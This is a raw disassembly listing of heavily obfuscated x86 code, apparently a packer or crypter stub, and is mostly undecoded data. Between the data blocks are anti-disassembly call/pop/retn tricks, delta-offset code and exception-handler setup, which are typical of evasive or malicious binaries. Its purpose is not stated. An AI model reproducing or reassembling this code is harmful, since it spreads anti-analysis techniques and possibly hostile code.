		dd 14h,	0F8A91FF9h, 31D1C6C5h, 41353DE4h, 6DBC213Eh, 0F4E52270h
		dd 0E8CE8B66h, 58Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 34C35545h, 98405E2Ah,	0F5357F9h, 8Bh
		dd 895E5E00h, 0F9075185h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 35593300h
		dd 26918D33h, 0B50B05F9h, 5F91B2Dh, 52BE8h, 6BB96600h
		dd 0DD858986h, 0E805F916h, 11h,	0A22D29ADh, 731DD64Fh
		dd 0CF1DFA3Dh, 6FDBBF29h, 59F38BBAh, 503E8h, 81666000h
		dd 19805C8h, 0F92B6D95h, 85896105h, 5F91771h, 10E9h, 0C8840300h
		dd 0FDD03165h, 80F25D34h, 2AF00357h, 4D6E8E2h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 62E89FC3h, 66856514h, 8589C88Bh, 5F913ADh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0DDC35343h, 56538C51h
		dd 0B5290F6Ah, 5F9164Dh, 47FE8h, 0A9B58B00h, 8905F926h
		dd 0F913D985h, 0C890F05h, 0F000000h, 686h, 8D0F00h, 0E8000000h
		dd 45Ch, 223DBD31h, 858905F9h, 5F91091h, 0A37DBF66h, 447E8h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0B543232Ch, 894B4339h, 0F92795B5h, 0B58D8B05h
		dd 8905F925h, 0F92A6985h, 0A9BD2305h, 5605F900h, 5ECE8B66h
		dd 403E8h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 4AB34D65h, 89B58D57h, 0F91FD995h
		dd 5D858905h, 6605F927h, 0A08DC181h, 0AE900B0h,	18000000h
		dd 0CEB84DA8h, 0E3A54313h, 0D8B60F91h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 94C35646h, 8EABBE2Ah, 23EB7584h
		dd 0F905DDB5h, 6BA05h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 7D43ABC3h, 0AD9490A3h
		dd 8B234591h, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 4DB58BD0h, 0F805F931h, 6A04E8C1h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8BACC351h, 0E2F766F8h, 3B98D8Bh, 0D82B05F9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 1DC35141h
		dd 93FB0EF6h, 8B665250h, 50310FCAh, 0F616052h, 5ACE8B31h
		dd 50585A58h, 8D0F5250h, 2, 310F6160h, 8193585Ah, 0DE406AC7h
		dd 9195FF78h, 6605F913h, 6A5BF78Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 249AC350h
		dd 8D8B0ADAh, 5F927ADh,	14A5958Dh, 6A05F9h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 695A62C3h
		dd 89F98B66h, 51006A1Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0F2A1FAA9h, 26B4BFFCh, 8B66E420h
		dd 44289C8h, 0B58B16B5h, 5F918DDh, 2B01958Dh, 89F905F9h
		dd 0A5B52B1Ah, 8905F92Ch, 6A0442h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0D2D984C3h, 6830Fh, 95090000h
		dd 5F93331h, 1339958Dh,	6A05F9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0BF674BC3h, 8D896050h
		dd 5F91A9Dh, 0B459D89h,	5E6105F9h, 42891A89h, 50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 25FD735Dh, 0E644128Bh, 32E58D8Bh, 0D68105F9h, 7D7C0BE3h
		dd 1249958Dh, 6A05F9h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0C66C53C3h, 1A89DF6Ah, 89F18B66h
		dd 6A0442h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0E9F9F9C3h, 14h, 7B8EF8CCh, 0CA13872Bh, 2C0AAE45h
		dd 0C935B547h, 0B83E269Ah, 9C5958Dh, 8B6005F9h,	0F90539BDh
		dd 0FAB70F05h, 6A1A8961h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 6E60C352h, 48B0Fh
		dd 0B1520000h, 42895EF8h, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 41DB89DCh
		dd 0FDB58964h, 8D05F91Ah, 0F91A9595h, 0CB8B6605h, 8FC98166h
		dd 891A8930h, 0F933F595h, 4428905h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0F5C35747h,	0A1958DF8h, 6605F932h
		dd 1A89F88Bh, 89CFBF0Fh, 6A0442h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8DFEE8C3h, 0F9041995h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0B5DC4400h, 661A89BCh, 0A01ACE81h, 6A044289h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0CF4C357h, 0E93722DAh, 120h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DFC35141h, 72709DEAh

; =============== S U B	R O U T	I N E =======================================



sub_5B4718	proc near		; CODE XREF: .XComp0:loc_5B40BCp
		push	0
		push	0
		push	ebx
		call	sub_5B4725
		and	[ebx-3Dh], bl
sub_5B4718	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B4725	proc near		; CODE XREF: sub_5B4718+5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5B4725	endp

; ---------------------------------------------------------------------------
		db 0A4h, 0D4h, 0F8h
		dd 0FC03F46h, 86h, 6A006A00h, 3E85200h,	20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 5238C352h, 0F8F2656Bh
		dd 820F9444h, 3, 80CFB70Fh, 6AECD5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 2EC35040h, 0D1C6E24h, 6A0E6Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C2C35343h
		dd 0F442AD17h, 8E960h, 13EF0000h, 0BB694B92h, 0D380BDD5h
		dd 95FF61F3h, 5F92B15h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 77C35747h, 0C3F9D4ECh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 15h, 0B8C35242h, 2D8D8980h
		dd 8B05F909h, 0FA8B66CEh, 6AC58Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 3B2691C3h, 0CC9A6FBBh
		dd 0B70F14F5h, 6AC08BFAh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0FB06C357h,	31C9BD83h
		dd 750005F9h, 0B5BD8309h, 5F912h, 53501974h, 38B8C08Bh
		dd 89000004h, 0F915DD85h, 0EB9D8D05h, 0FF05FBF3h, 83585BD3h
		dd 0F912B5BDh, 17740005h, 38B85350h, 89000004h,	0F915DD85h
		dd 8C9D8D05h, 0FF05FBF0h, 6A585BD3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 4098C350h
		dd 0A524BB12h, 81663D3Eh, 662890E9h, 7D4BEF81h,	858DC08Bh
		dd 5F90DC1h, 895021B3h,	0EE92404h, 0E0000000h, 72A7D01Bh
		dd 2662D283h, 0A9302B36h, 6A006A9Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0A838C356h
		dd 0DD9D8953h, 5F05F932h, 858D006Ah, 5FD9531h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 53C35242h, 0B87AAF53h
		dd 58208AA5h, 1A8A0F84h, 0E8000000h, 0Eh, 31B5AB1Bh, 0D1275C80h
		dd 0DA38ABA0h, 9D290946h, 5F9348Dh, 0DAB70F5Bh,	19BD29h
		dd 0C08305F9h, 0DE86005h, 27000000h, 0DD88ED4Dh, 0DE61E9CFh
		dd 33AB2903h, 8F0Fh, 895E0000h,	0F928058Dh, 0BF906105h
		dd 46567971h, 0DE850h, 23D10000h, 760D89D6h, 0ECD303E8h
		dd 8BCA5410h, 0E9905BD8h, 11h, 0B28F4FD1h, 0EAD3E1C2h
		dd 37F381C9h, 540D2788h, 6A006A11h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 5F1FC352h
		dd 696F2017h, 3A60EF81h, 6A2E0Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0D7C35747h,	0FFA14C98h, 0F913ED95h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0B48736EAh, 9E7604Eh, 0F904AD95h, 838D8D05h
		dd 8B05FCE9h, 0F92585BDh, 0D3816605h, 0D1FFF176h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 52C35646h, 2A098531h
		dd 0BD8305F9h, 5F91785h, 97850F01h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0CEE8C350h, 91BDB643h, 840F026Ah, 3,	50DBBF0Fh, 52505250h
		dd 0ADCBF66h, 0FB8B310Fh, 310F585Ah, 8E0F5250h,	0
		dd 5F51310Fh, 585A585Ah, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0FD02C355h
		dd 0B569BD7Eh, 0FFF85027h, 0F9009995h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 25E9F9B1h, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5FD953Bh
		mov	bx, 0FC78h
		mov	[ebp+5F91EFDh],	esi
		lea	eax, [ebp+5FCD97Ch]
		or	edi, [ebp+5F913B9h]
		nop
		jmp	loc_5B4B54
; ---------------------------------------------------------------------------
		db 76h
		dd 151B8331h, 0EAABBA23h
; ---------------------------------------------------------------------------


loc_5B4B54:				; CODE XREF: .XComp0:005B4B46j
		push	eax
		jmp	loc_5B4B69
; ---------------------------------------------------------------------------
		dw 6347h
		dd 89F8AD45h, 4EED632Fh, 0A024983Fh
		db 84h
; ---------------------------------------------------------------------------


loc_5B4B69:				; CODE XREF: .XComp0:005B4B55j
		nop
		pusha
		clc
		popa
		push	large dword ptr	fs:0
		movsx	ebx, di
		mov	large fs:0, esp
		push	0
		push	ebp
		call	sub_5B4B89
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4B89	proc near		; CODE XREF: .XComp0:005B4B81p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5B4B89	endp

; ---------------------------------------------------------------------------
		db 0A6h, 0D2h, 67h
		dd 0BD378EDCh, 8B606628h, 0F9177595h, 5958B05h,	6105F928h
		dd 197D85FFh, 8E805F9h,	14000000h, 6704EA34h, 89C73D6Eh
		dd 0F927A195h, 0FF6A5B05h, 0DD1B509h, 0B5FF05F9h, 5F903D1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 92C35545h
		dd 0D648E8C5h, 0B1958950h, 0FF05F928h, 0F9091195h, 128E905h
		dd 0BE90000h, 39000000h, 0EFEEABDEh, 0C619ED44h, 0B02F3Dh
		dd 0E6FABF0Fh, 0D8D8970h, 0E405F90Dh, 3CFC8A71h, 0FF830F61h
		dd 0F000000h, 0B60FDEB7h, 0DE9C8h, 3F1E0000h, 927C5828h
		dd 17F7426Eh, 0BAF80788h, 6, 0FE9h, 9D9E5800h, 0BDE20A1Ch
		dd 0FD5BD465h, 0C621681Dh, 7198D31h, 0C18B05F9h, 41B58960h
		dd 0F505F910h, 4E8C161h, 24E98D89h, 0F76605F9h,	6870FE2h
		dd 29000000h, 0F917BD9Dh, 8AC82B05h, 0DB8166FCh, 0D18BAB29h
		dd 7459D8Bh, 6E905F9h, 9000000h, 0F92DB18Dh, 0A5858B05h
		dd 0F05F914h, 0BD03DABFh, 5F90521h, 0F907C083h,	46E78166h
		dd 0C083B0h, 0F61BD8Bh,	0D03B05F9h, 24830Fh, 0B5890000h
		dd 5F9258Dh, 55E9h, 13830F00h, 60000000h, 8F1B58Bh, 5E805F9h
		dd 86000000h, 0CB54EFBEh, 8D8B615Bh, 5F910D5h, 0F01E183h
		dd 2D84h, 918D0100h, 6605F931h,	0FA69C781h, 10D5A583h
		dd 66FE05F9h, 343BDB81h, 14A59589h, 9D8B05F9h, 5F92B81h
		dd 0DFDF8166h, 0E90Dh, 0B58D0000h, 5FD1407h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C6C35545h, 3DE431D1h
		dd 213E4135h, 8A0F60BCh, 5, 90DEA9B9h, 0E8816627h, 6A615C31h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 2BD1D015h, 0F92C85BDh, 0ED95FF05h, 8B05F91Ah
		dd 0F9162D9Dh, 799D8905h, 0B905F90Ch, 7DEh, 10E9BD09h
		dd 0E18305F9h, 6E9FCh, 87390000h, 0A9290181h, 56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0DE0E43A6h, 0B8h, 0BA00h, 0B5890000h, 5F904CDh, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0B5C35646h, 5F8F12ECh, 6A3CC7h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0F3A0EC3h, 880DF8BFh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 34D2C356h
		dd 6C13D118h, 266DC286h, 0CDD958Bh, 6A05F9h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 66CED5C3h
		dd 0E781FB71h, 4E34B58Bh, 26C18D8Bh, 6A05F9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0F8B983C3h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 9E585AC3h, 0E20A1C9Dh, 52D465BDh, 39BD8B5Fh,	6A05F917h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 1E49C353h, 0CD4A818Eh, 68F0F83h, 89000000h
		dd 0F91ADD8Dh, 59BD8305h, 5F911h, 65840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 878A62C3h, 64A174D8h, 732862BBh, 860F3Dh, 0B8000000h
		dd 0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+5F94EE8h]
		push	0
		push	ebp
		call	sub_5B4F75
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4F75	proc near		; CODE XREF: .XComp0:005B4F6Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5B4F75	endp

; ---------------------------------------------------------------------------
		align 2
		db	36h
		inc	ecx
		mov	ecx, 391C3A0h
		retf	0FF55h
; ---------------------------------------------------------------------------
		dd 0D7DB81E1h, 83609EE9h, 0F900FDBDh, 840F0005h, 3C8h
		dd 0FDBD83FCh, 105F900h, 3D5840Fh, 86BB0000h, 83719364h
		dd 0F900FDBDh, 860F0305h, 38Dh,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0E9C35545h,	0BD7F6A66h, 2BB1BD89h
		dd 0BB6605F9h, 0BF600723h, 728CC618h, 89D98C66h, 0F91829B5h
		dd 4E18005h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0C9C35242h, 889D72D1h, 0AEE38166h, 0FC90A12h, 12784h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 11BD2B24h, 8B05F920h, 0F9259985h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 35BD8BC0h, 8B05F904h, 0F918ADBDh, 2D853305h,	6A05F904h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 2B73C351h, 8391435Fh, 90FFB70Fh, 4FBE6660h
		dd 0CBFEB800h, 50616A2Ch, 412BEFBBh, 6A9060h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0E3B4AAC3h
		dd 0F0D6196h, 281h, 813EB700h, 0DD0D39CFh, 89006A05h, 0F9105595h
		dd 97656805h, 5E99E18h,	57000000h, 5C5B1563h, 9A240481h
		dd 6662066Ch, 816BEB81h, 2AC595FFh, 8E905F9h, 41000000h
		dd 2535B99Ch, 89E5A2B3h, 0FCFC2185h, 5E905h, 57230000h
		dd 0E9944DACh, 1C2h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 80C35040h, 1F83157Bh,	0FC19858Bh, 0FB8B05FCh
		dd 1800C7h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 6CAAADC3h, 0BAACAECFh, 0E9F88BFEh
		dd 9, 7397416Ch, 0D6E7A5BFh, 1DB58B45h,	6005FCFCh, 3175BD29h
		dd 6E805F9h, 0A2000000h, 0B021EA1Bh, 5AF78B31h,	5E95661h
		dd 0D1000000h, 79A60EBh, 89858B5Fh, 6A05F92Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0A448C353h, 8021F5C3h, 689D6EBh, 0DB9CDBFh, 8BEDB74Bh
		dd 0F9259985h, 57BFF505h, 890A35ABh, 0B5890446h, 5F925F9h
		dd 1E880F50h, 0E8000000h, 7, 0F363F595h, 0E94B3A79h, 0Ch
		dd 0A4954B5Eh, 24854FEh, 0BD85B8DAh, 2434895Bh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 4CC35747h, 66E3278Eh
		dd 0DAE6CB81h, 2481BD09h, 0B5FF05F9h, 5FCFC19h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 3FC35545h, 0F0E611DEh
		dd 5B2E5068h, 0E95250C1h, 12h, 1E191569h, 3DD322DEh, 0F0B1329Ah
		dd 5AAC4E48h, 310F2F13h, 9697F9BFh, 81585A28h, 0D5AF2404h
		dd 6A3EC3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 2A1E4DC3h, 1793820h, 858D4EF1h, 5FCFC21h
		dd 0FB8B5090h, 0DE990h,	26490000h, 0DE589A63h, 0BA1337B4h
		dd 0FF9A4CBBh, 0F92AC595h, 0D7816605h, 66610DC9h, 2B46DB81h
		dd 0FD85C7h, 305F9h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 50ED45C3h, 1672C096h
		dd 662D65ECh, 0BD83D88Bh, 5FCFC21h, 16840F00h, 29000000h
		dd 0F92A9DBDh, 8EA0BB05h, 21E953CEh, 0F000000h,	88h, 0C305000h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0F88D0BBFh
		dd 13E972h, 20000h, 858FB8F4h, 283B3DBAh, 7405F024h, 0A2655B5Ch
		dd 0FDBD8397h, 305F900h, 42C850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 831DCAC3h
		dd 0FCFC21BDh, 840F0005h, 402h,	3890F50h, 0F000000h, 0FF5BD8BFh
		dd 0FCFC21B5h, 95FFF905h, 5F91AADh, 5B5EB352h, 0FC15B58Bh
		dd 0BD0105FCh, 5F91531h, 0C7FBBF0Fh, 1000106h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0BCE2070h, 0F1F7CC3Ch, 0D98AFDE4h, 0A5DF8166h, 198D0F16h
		dd 0E9000000h, 14h, 33B36461h, 0FA566302h, 9D3CCA78h, 77F0C6E2h
		dd 3A957964h, 50516050h, 89615E59h, 0FA8A2434h,	0FC21B5FFh
		dd 6A05FCh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 657B30C3h, 66D66382h, 0FF46BABBh,	0F9272995h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0E623218Fh, 8B121AA2h, 0F9090DBDh, 0FABB6605h
		dd 15B58BD6h, 6A05FCFCh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0ADF6C350h,	58F96E6Bh
		dd 9858B77h, 6A05F918h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 88AC357h, 0D935C571h
		dd 81665101h, 894FFCD3h, 0C486h, 0E19D8B00h, 8B05F921h
		dd 0F90CDD95h, 0BBDC8A05h, 235D5092h, 0F504C283h, 8E9h
		dd 9134D100h, 0CDFE2F2Eh, 205089EFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 24C35545h, 0D5B589F9h, 8905F908h
		dd 0F926C99Dh, 0E9858D05h, 6A05FD10h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A824C350h
		dd 7D43AB19h, 519490A3h, 0BDF8166h, 86895BE0h, 0B8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 19C35747h, 81043E5Ah
		dd 5CB9CBE3h, 66006A6Ch, 0B5FFD98Bh, 5FCFC21h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 3DC35242h, 48E8C592h
		dd 0A9BD8BD6h, 0FF05F934h, 0F9009995h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 34BE9DA0h, 9FF57904h, 8D0Fh,	15B30000h, 14E850h, 25110000h
		dd 5F47A617h, 0BD8E428Fh, 0CC061C79h, 361ACE01h, 14B35A77h
		dd 2434895Fh, 0D3D78166h, 21B5FF27h, 905FCFCh, 0F917F18Dh
		dd 6995FF05h, 6A05F935h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0FE12C353h,	0BD83F8BAh
		dd 5F917F5h, 4D840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0B1DC353h
		dd 9D8BF965h, 5F90565h,	1814BB50h, 3489415Fh, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0FF261D9Bh, 0FC21B5FFh, 8C0F05FCh, 1Dh, 11E8h, 14AEA700h
		dd 0BA31EF41h, 5DD7AC01h, 0D3FF49E3h, 850F8768h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		call	dword ptr [ebp+5F92E6Dh]
		push	0
		push	ecx
		call	sub_5B5732
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B5732	proc near		; CODE XREF: .XComp0:005B572Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5B5732	endp

; ---------------------------------------------------------------------------
		mov	ebx, 532E7A3Dh
		mov	[ebp+5F91365h],	esi
		pop	edi
		push	dword ptr [ebp+5FCFC21h]
		mov	bx, di
		call	dword ptr [ebp+5F921DDh]
		push	0
		push	eax
		call	sub_5B5769
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B5769	proc near		; CODE XREF: .XComp0:005B5761p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5B5769	endp

; ---------------------------------------------------------------------------
		db 11h,	0D5h, 8Bh
		dd 0EE6834E2h, 66C829CEh, 57D9CF81h, 0A2DBD83h,	0F0205F9h
		dd 2E84h, 5AF78000h, 1151858Bh,	9D8B05F9h, 5F91885h, 11E9h
		dd 0CAE56000h, 49DC9887h, 0DF72AB62h, 0CF00E35Eh, 0C62AF2h
		dd 95B50900h, 0C705F92Ah, 0F9331985h, 5, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 8DE13461h, 7FF8D30Fh, 85BB623Bh, 6640E0D7h, 0CBE9FA8Bh
		dd 6AFFFFF3h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0F4BCC356h, 0A60DB904h, 559D2B9Dh
		dd 8B05F918h, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 29371A09h, 0DC1858Dh, 1ABF05F9h
		dd 500DA5CAh, 48974B3h,	0FEBF0F24h, 8E9006Ah, 3E000000h
		dd 0B7D5D523h, 6A689F9Bh, 0B482BB00h, 858D71E0h, 5FDA3D6h
		dd 80D8BF0Fh, 0C0834CF7h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 895079D5h
		dd 0F522404h, 685h, 3CDF8100h, 5B276E13h, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8B7013C3h, 0F90B159Dh, 8B006A05h, 0ED95FFDAh, 6A05F913h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 6686C355h, 0F9955E39h, 6890FB5h, 89000000h
		dd 0F92CBD8Dh, 1B75BB05h, 8D8D1CF5h, 5FCE983h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 4CC35141h, 3FD4F9F2h
		dd 0E893A8CEh, 0Ch, 869A29E0h, 10AFC950h, 0F4992951h, 0E9D1FF5Bh
		dd 0Ch,	19485181h, 0CEDD810Bh, 91F8E51Eh, 83DE8B66h, 0F91785BDh
		dd 850F0105h, 53h, 0B1BBF66h, 6A026Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 9D89DEC3h
		dd 5F91295h, 0A7D78166h, 5E85031h, 84000000h, 0BE4B4927h
		dd 0A70E98BFh, 4895B7Fh, 0C59D8B24h, 0FF05F90Ch, 0F9009995h
		dd 558D0905h, 0E905F92Ah, 0D4Ch, 0E8h, 0ED815D00h, 5FDA3E0h
		dd 9959BF66h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	8CC35141h, 759D8B09h, 8D05F919h, 0FCD97C85h, 6840F05h
		dd 89000000h, 0F90511B5h, 52509005h, 310FF98Bh,	8A0Fh
		dd 585A0000h, 0E9525050h, 12h, 0FD073306h, 93F90B11h, 91C19F0Ah
		dd 0B0039711h, 310FDB03h, 5B515250h, 5ABB310Fh,	5A51B7B6h
		dd 90585A58h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	7FC35747h, 57B1F294h, 2DC58529h, 645B05F9h, 35FFh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 34EA9C3h,	858D3159h, 6405F915h, 2589h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 604A2DC3h, 18E0Fh, 60F80000h, 8C0Fh,	4EB00000h, 85FF6161h
		dd 5F9197Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	0DC35242h, 0FF6A7C6Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0D8C35646h,	0AD53B9D2h, 0FFDF8BE6h
		dd 0F93465B5h, 1195FF05h, 0E905F909h, 0F7h, 999D2960h
		dd 8B05F927h, 0B061D1h,	0F70E6F8h, 1180h, 0CE900h, 3C890000h
		dd 9D7BC8CAh, 0BE788E17h, 71E402E9h, 11E8h, 1D4AB100h
